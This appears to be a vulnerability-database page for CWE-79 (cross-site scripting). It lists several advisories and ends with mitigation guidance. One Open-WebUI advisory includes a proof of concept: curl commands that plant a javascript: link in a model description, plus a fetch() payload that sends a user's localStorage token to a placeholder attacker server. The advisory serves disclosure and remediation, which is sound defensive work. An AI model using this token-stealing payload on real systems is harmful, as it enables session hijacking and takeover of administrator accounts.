CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69454 vulnerabilities reference this CWE, most recent first.
GHSA-GF4J-RQC4-F9Q2
Vulnerability from github – Published: 2022-05-02 03:40 – Updated: 2022-05-02 03:40Cross-site scripting (XSS) vulnerability in uddiclient/process in the UDDI client in SAP NetWeaver Application Server (Java) 7.0 allows remote attackers to inject arbitrary web script or HTML via the TModel Key field.
{
"affected": [],
"aliases": [
"CVE-2009-2932"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-08-21T20:30:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in uddiclient/process in the UDDI client in SAP NetWeaver Application Server (Java) 7.0 allows remote attackers to inject arbitrary web script or HTML via the TModel Key field.",
"id": "GHSA-gf4j-rqc4-f9q2",
"modified": "2022-05-02T03:40:07Z",
"published": "2022-05-02T03:40:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2932"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/52429"
},
{
"type": "WEB",
"url": "https://service.sap.com/sap/support/notes/1322098"
},
{
"type": "WEB",
"url": "http://osvdb.org/57000"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36228"
},
{
"type": "WEB",
"url": "http://www.dsecrg.com/pages/vul/show.php?id=133"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/505697/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36034"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022731"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GF4P-RRPW-5R59
Vulnerability from github – Published: 2024-11-19 09:30 – Updated: 2024-11-19 09:30The WordPress GDPR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gdpr_firstname' and 'gdpr_lastname' parameters in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-10388"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T08:15:16Z",
"severity": "HIGH"
},
"details": "The WordPress GDPR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u0027gdpr_firstname\u0027 and \u0027gdpr_lastname\u0027 parameters in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-gf4p-rrpw-5r59",
"modified": "2024-11-19T09:30:54Z",
"published": "2024-11-19T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10388"
},
{
"type": "WEB",
"url": "https://www.welaunch.io/en/product/wordpress-gdpr/#changelog"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bf707d9b-2b96-4d1b-b798-38f7fe958eaf?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GF54-33R5-J829
Vulnerability from github – Published: 2026-07-09 00:31 – Updated: 2026-07-09 00:31The IP phone might use malicious input stored in configuration parameters and render it as content for the WebUI’s webpage.
{
"affected": [],
"aliases": [
"CVE-2026-5922"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-08T22:17:16Z",
"severity": "MODERATE"
},
"details": "The IP phone might use malicious input stored in configuration parameters and render it as content for the WebUI\u2019s webpage.",
"id": "GHSA-gf54-33r5-j829",
"modified": "2026-07-09T00:31:17Z",
"published": "2026-07-09T00:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5922"
},
{
"type": "WEB",
"url": "https://support.hp.com/us-en/document/ish_15255534-15255565-16/hpsbpy04108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GF54-MV55-8XGF
Vulnerability from github – Published: 2025-03-17 15:31 – Updated: 2025-03-17 15:31A stored Cross-site Scripting (XSS) vulnerability affecting Document Management in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script code in user's browser session.
{
"affected": [],
"aliases": [
"CVE-2025-0599"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-17T14:15:20Z",
"severity": "HIGH"
},
"details": "A stored Cross-site Scripting (XSS) vulnerability affecting Document Management in ENOVIA Collaborative Industry Innovator on Release 3DEXPERIENCE R2024x allows an attacker to execute arbitrary script code in user\u0027s browser session.",
"id": "GHSA-gf54-mv55-8xgf",
"modified": "2025-03-17T15:31:49Z",
"published": "2025-03-17T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0599"
},
{
"type": "WEB",
"url": "https://www.3ds.com/vulnerability/advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GF55-VPJV-MH2J
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:01Some HTML elements, such as <title> and <textarea>, can contain literal angle brackets without treating them as markup. It is possible to pass a literal closing tag to .innerHTML on these elements, and subsequent content after that will be parsed as if it were outside the tag. This can lead to XSS if a site does not filter user input as strictly for these elements as it does for other elements. This vulnerability affects Firefox < 69, Thunderbird < 68.1, Thunderbird < 60.9, Firefox ESR < 60.9, and Firefox ESR < 68.1.
{
"affected": [],
"aliases": [
"CVE-2019-11744"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-27T18:15:00Z",
"severity": "MODERATE"
},
"details": "Some HTML elements, such as \u0026lt;title\u0026gt; and \u0026lt;textarea\u0026gt;, can contain literal angle brackets without treating them as markup. It is possible to pass a literal closing tag to .innerHTML on these elements, and subsequent content after that will be parsed as if it were outside the tag. This can lead to XSS if a site does not filter user input as strictly for these elements as it does for other elements. This vulnerability affects Firefox \u003c 69, Thunderbird \u003c 68.1, Thunderbird \u003c 60.9, Firefox ESR \u003c 60.9, and Firefox ESR \u003c 68.1.",
"id": "GHSA-gf55-vpjv-mh2j",
"modified": "2024-04-04T02:01:42Z",
"published": "2022-05-24T16:57:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11744"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1562033"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201911-07"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4150-1"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-25"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-26"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-27"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-29"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-30"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00009.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00010.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00011.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00017.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GF56-V3WH-8QVF
Vulnerability from github – Published: 2024-11-28 18:38 – Updated: 2026-04-01 18:32Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.8.16.0.
{
"affected": [],
"aliases": [
"CVE-2024-53737"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-28T11:15:54Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in WP Mailster allows Stored XSS.This issue affects WP Mailster: from n/a through 1.8.16.0.",
"id": "GHSA-gf56-v3wh-8qvf",
"modified": "2026-04-01T18:32:35Z",
"published": "2024-11-28T18:38:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53737"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-mailster/vulnerability/wordpress-wp-mailster-plugin-1-8-16-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GF5F-3V3V-W9WH
Vulnerability from github – Published: 2022-05-17 01:10 – Updated: 2022-05-17 01:10Cross-site scripting (XSS) vulnerability in the administrative backend in Croogo before 2.2.1 allows remote attackers to inject arbitrary web script or HTML via the path parameter to admin/file_manager/file_manager/editfile.
{
"affected": [],
"aliases": [
"CVE-2015-1053"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-16T15:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the administrative backend in Croogo before 2.2.1 allows remote attackers to inject arbitrary web script or HTML via the path parameter to admin/file_manager/file_manager/editfile.",
"id": "GHSA-gf5f-3v3v-w9wh",
"modified": "2022-05-17T01:10:36Z",
"published": "2022-05-17T01:10:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1053"
},
{
"type": "WEB",
"url": "https://github.com/croogo/croogo/issues/599"
},
{
"type": "WEB",
"url": "https://blog.croogo.org/blog/croogo-221-released"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/99890"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/129916/CMS-Croogo-2.2.0-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2015/Jan/24"
},
{
"type": "WEB",
"url": "http://sroesemann.blogspot.de/2015/01/report-for-advisory-sroeadv-2015-02.html"
},
{
"type": "WEB",
"url": "http://sroesemann.blogspot.de/2015/01/sroeadv-2015-02.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/71999"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GF5J-83PJ-W5PM
Vulnerability from github – Published: 2024-03-13 18:31 – Updated: 2024-03-13 18:31The Custom fields shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's cf shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied custom post meta values. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2023-6809"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T16:15:08Z",
"severity": "MODERATE"
},
"details": "The Custom fields shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s cf shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied custom post meta values. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-gf5j-83pj-w5pm",
"modified": "2024-03-13T18:31:31Z",
"published": "2024-03-13T18:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6809"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/beepress"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/99d3d5aa-dd82-415a-bc40-9d2c677d9248?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GF5M-QR87-2HVM
Vulnerability from github – Published: 2022-05-01 23:45 – Updated: 2022-05-01 23:45Cross-site scripting (XSS) vulnerability in index.php in Wikepage Opus 13 2007.2 allows remote attackers to inject arbitrary web script or HTML via the wiki parameter.
{
"affected": [],
"aliases": [
"CVE-2008-1956"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-25T19:05:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in index.php in Wikepage Opus 13 2007.2 allows remote attackers to inject arbitrary web script or HTML via the wiki parameter.",
"id": "GHSA-gf5m-qr87-2hvm",
"modified": "2022-05-01T23:45:17Z",
"published": "2022-05-01T23:45:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1956"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42058"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29699"
},
{
"type": "WEB",
"url": "http://sourceforge.net/tracker/index.php?func=detail\u0026aid=1938445\u0026group_id=128991\u0026atid=713448"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/491065/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28842"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GF5M-WCRH-7928
Vulnerability from github – Published: 2026-05-08 19:00 – Updated: 2026-05-15 23:52[!IMPORTANT] Relationship to CVE-2024-7990
CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field — the model description — but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function's video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer.
The vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an <a href="javascript:..."> element, and rendered live by {@html}. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive.
Affected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize).
Both vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis.
Summary
This is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI.
Details
Root Cause:
Model descriptions are rendered in two Svelte components via this chain:
sanitizeResponseContent(description) → .replaceAll('\n', '<br>') → marked.parse() → {@html ...}
The model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description.
index.ts:82-92
export const sanitizeResponseContent = (content: string) => {
return content
.replace(/<\|[a-z]*$/, '') // strip incomplete <|tokens
.replace(/<\|[a-z]+\|$/, '') // strip incomplete <|token|
.replace(/<$/, '') // strip trailing <
.replaceAll('<', '<') // escape < to <
.replaceAll('>', '>') // escape > to >
.replaceAll(/<\|[a-z]+\|>/g, ' ') // strip <|token|> patterns
.trim();
};
This function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via javascript: which is the fundamental issue.
.replaceAll('\n', '<br>') will replace newlines with <br> tags, and since payload can be written without newlines, its unaffected.
marked sees [text](url) and generated an anchor tag and does not block the payload of javascript:.
Svelte's {@html} directive inserts raw HTML into the DOM without escaping, creating the vulnerability.
Affected files:
src/lib/components/chat/Placeholder.svelte (lines 177–181)
src/lib/components/chat/ChatPlaceholder.svelte (lines 99–103)
PoC
Below is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server.
Step 1 - Create a model with a malicious description. The token used must be from an account with either the following. A. Admin privileges B. An account with model creation permission
curl -X POST 'http://<HOST>/api/v1/models/create' \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"id": "xss-test",
"name": "Helpful Assistant!",
"base_model_id": "llama3",
"meta": {
"description": "A helpful AI assistant. [Click here for docs](javascript:alert())"
},
"params": {}
}'
Any authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance.
Step 2 - Select the model:
Login and select the created model, if you followed the PoC it will be Helpful Asisstant!
Step 3 - XSS Triggers:
Click on the hyperlink and watch the alert trigger.
Below is a PoC that steals the access token from localstorage
Step 1 - Setup a local python HTTPServer
python3 -m http.sever 8080
Step 2 - Create a model with a malicious payload to steal the token from localstorage
curl -X POST 'http://<HOST>/api/v1/models/create' \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"id": "xss-model",
"name": "Token Stealer",
"base_model_id": "llama3",
"meta": {
"description": "Advanced research model. [View benchmarks](javascript:void(fetch(`http://<MALICIOUS_SERVER_IP>:8080/?t=${localStorage.token}`)))"
},
"params": {}
}'
Step 3 - Navigate to the malicious model and click on the hyperlink
Check on the local server you have set up in Step 1 and see that the token is returned within the URL.
Impact
As user's session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI).
Attack Scenario
1. Attacker creates a model with a malicious description
2. Victim selects model and clicks the hyperlink
3. Victim authorization token is stolen
This vulnerability affects all Open-WebUI users.
Remediation
Recommended fix — wrap marked.parse() output with DOMPurify.sanitize().
In the affected files, change
{@html marked.parse(
sanitizeResponseContent(description).replaceAll('\n', '<br>')
)}
into
{@html DOMPurify.sanitize(
marked.parse(
sanitizeResponseContent(description).replaceAll('\n', '<br>')
)
)}
This matches the pattern already used in other parts of the application such as but not limiting to ConfirmDialog.svelte:130 and NotebookView.svelte:77. DOMPurify will handle the stripping of javascript: URIs, event handlers and other dangerous HTML by default.
AI Disclosure
Claude was used to assist in:
Systematic codebase searching to identify unsanitized {@html} rendering paths
Verifying marked@9.1.6 behavior with javascript: URIs
Credits
Lin, WeiChi from Sompo Holdings, Inc.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "npm",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44721"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:00:28Z",
"nvd_published_at": "2026-05-15T21:16:36Z",
"severity": "HIGH"
},
"details": "\u003e [!IMPORTANT]\n\u003e Relationship to CVE-2024-7990\n\n\u003e CVE-2024-7990 (issued by huntr.dev, March 2025) describes a stored XSS in the same field \u2014 the model description \u2014 but exploits a different bypass mechanism: a second-order injection through the sanitizeResponseContent function\u0027s video-tag placeholder restoration logic in v0.3.x. That bypass was closed in v0.4.0 by removing the video exemption from the sanitizer.\n\nThe vulnerability described in this advisory is structurally distinct: a markdown-link payload with a javascript: URI passes through sanitizeResponseContent unchanged (no angle brackets), is then parsed by marked.parse() into an `\u003ca href=\"javascript:...\"\u003e` element, and rendered live by `{@html}`. This is a pipeline-ordering flaw where the dangerous construct is introduced after sanitization completes. Removing the video exemption has no effect on this primitive.\n\nAffected range: v0.3.5 through v0.8.12 inclusive. Fixed in: v0.9.0 (commit 5eab125, which wraps marked.parse() output in DOMPurify.sanitize).\n\nBoth vulnerabilities are independently fixable under CVE rule 4.2.11. CVE assignment for this advisory has been requested separately on that basis.\n\n### Summary\n\nThis is a stored cross-site scripting (XSS) vulnerability that allows any authenticated user with model creation permission (workspace.models) to execute arbitrary JavaScript in the browser of any other user (including admins) who views the malicious model in the chat UI.\n\n### Details\n\nRoot Cause:\nModel descriptions are rendered in two Svelte components via this chain:\n`sanitizeResponseContent(description) \u2192 .replaceAll(\u0027\\n\u0027, \u0027\u003cbr\u003e\u0027) \u2192 marked.parse() \u2192 {@html ...}`\n\nThe model description is stored in the database without prior sanitization. Then uses this sanitization function before applying the results to the description.\n\n`index.ts:82-92`\n```ts\nexport const sanitizeResponseContent = (content: string) =\u003e {\n return content\n .replace(/\u003c\\|[a-z]*$/, \u0027\u0027) // strip incomplete \u003c|tokens\n .replace(/\u003c\\|[a-z]+\\|$/, \u0027\u0027) // strip incomplete \u003c|token| \n .replace(/\u003c$/, \u0027\u0027) // strip trailing \u003c\n .replaceAll(\u0027\u003c\u0027, \u0027\u0026lt;\u0027) // escape \u003c to \u0026lt;\n .replaceAll(\u0027\u003e\u0027, \u0027\u0026gt;\u0027) // escape \u003e to \u0026gt;\n .replaceAll(/\u003c\\|[a-z]+\\|\u003e/g, \u0027 \u0027) // strip \u003c|token|\u003e patterns\n .trim();\n};\n```\nThis function was designed to sanitize HTML tags, but does not take into consideration that XSS can be triggered via `javascript:` which is the fundamental issue.\n\n`.replaceAll(\u0027\\n\u0027, \u0027\u003cbr\u003e\u0027)` will replace newlines with `\u003cbr\u003e` tags, and since payload can be written without newlines, its unaffected.\n\n`marked` sees `[text](url)` and generated an anchor tag and does not block the payload of `javascript:`.\n\nSvelte\u0027s `{@html}` directive inserts raw HTML into the DOM without escaping, creating the vulnerability.\n\nAffected files:\n`src/lib/components/chat/Placeholder.svelte` (lines 177\u2013181)\n`src/lib/components/chat/ChatPlaceholder.svelte` (lines 99\u2013103)\n\n\n### PoC\n\nBelow is a simple PoC that will create a model with a description to trigger an alert when pressing on the hyperlink. Replace the values inside such as HOST and TOKEN with your own values using your own test server.\n\nStep 1 - Create a model with a malicious description. The token used must be from an account with either the following.\nA. Admin privileges\nB. An account with model creation permission\n\n```bash\ncurl -X POST \u0027http://\u003cHOST\u003e/api/v1/models/create\u0027 \\\n -H \u0027Authorization: Bearer \u003cTOKEN\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"id\": \"xss-test\",\n \"name\": \"Helpful Assistant!\",\n \"base_model_id\": \"llama3\",\n \"meta\": {\n \"description\": \"A helpful AI assistant. [Click here for docs](javascript:alert())\"\n },\n \"params\": {}\n }\u0027\n```\nAny authenticated user with workspace.models permission can execute this. The base_model_id should reference any model available on the instance.\n\nStep 2 - Select the model:\n\nLogin and select the created model, if you followed the PoC it will be Helpful Asisstant!\n\u003cimg width=\"1203\" height=\"718\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d649c727-276c-4011-8234-140c51a32b68\" /\u003e\n\nStep 3 - XSS Triggers:\n\nClick on the hyperlink and watch the alert trigger.\n\u003cimg width=\"1203\" height=\"718\" alt=\"image\" src=\"https://github.com/user-attachments/assets/289fc3d4-e09a-45a4-b83d-40984d47a760\" /\u003e\n\n**Below is a PoC that steals the access token from localstorage**\n\nStep 1 - Setup a local python HTTPServer\n\n`python3 -m http.sever 8080`\n\nStep 2 - Create a model with a malicious payload to steal the token from localstorage\n\n```bash\ncurl -X POST \u0027http://\u003cHOST\u003e/api/v1/models/create\u0027 \\\n -H \u0027Authorization: Bearer \u003cTOKEN\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"id\": \"xss-model\",\n \"name\": \"Token Stealer\",\n \"base_model_id\": \"llama3\",\n \"meta\": {\n \"description\": \"Advanced research model. [View benchmarks](javascript:void(fetch(`http://\u003cMALICIOUS_SERVER_IP\u003e:8080/?t=${localStorage.token}`)))\"\n },\n \"params\": {}\n }\u0027\n```\nStep 3 - Navigate to the malicious model and click on the hyperlink\n\nCheck on the local server you have set up in Step 1 and see that the token is returned within the URL.\n\u003cimg width=\"669\" height=\"50\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7933e855-cc0a-40f5-a443-5c0363b1b8fa\" /\u003e \n\n\n### Impact\n\nAs user\u0027s session is stored in LocalStorage, attacker can craft a malicious payload that reads the contents and sends it to their malicious server. Once an admin access token has been stolen, users can create a new tool to execute arbitrary code (feature of Open-WebUI).\n\nAttack Scenario \n```\n1. Attacker creates a model with a malicious description\n2. Victim selects model and clicks the hyperlink\n3. Victim authorization token is stolen\n```\nThis vulnerability affects all Open-WebUI users.\n\n### Remediation\n\nRecommended fix \u2014 wrap `marked.parse()` output with `DOMPurify.sanitize()`.\n\nIn the affected files, change\n\n```ts\n{@html marked.parse(\n sanitizeResponseContent(description).replaceAll(\u0027\\n\u0027, \u0027\u003cbr\u003e\u0027)\n)}\n```\n\ninto\n\n```ts\n{@html DOMPurify.sanitize(\n marked.parse(\n sanitizeResponseContent(description).replaceAll(\u0027\\n\u0027, \u0027\u003cbr\u003e\u0027)\n )\n)}\n```\nThis matches the pattern already used in other parts of the application such as but not limiting to `ConfirmDialog.svelte:130` and `NotebookView.svelte:77`. DOMPurify will handle the stripping of `javascript:` URIs, event handlers and other dangerous HTML by default.\n\n### AI Disclosure\n\nClaude was used to assist in:\n\nSystematic codebase searching to identify unsanitized `{@html}` rendering paths\nVerifying `marked@9.1.6` behavior with `javascript:` URIs\n\n## Credits\n\nLin, WeiChi from Sompo Holdings, Inc.",
"id": "GHSA-gf5m-wcrh-7928",
"modified": "2026-05-15T23:52:06Z",
"published": "2026-05-08T19:00:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gf5m-wcrh-7928"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44721"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "open-webui Vulnerable to Stored XSS via Model Description"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
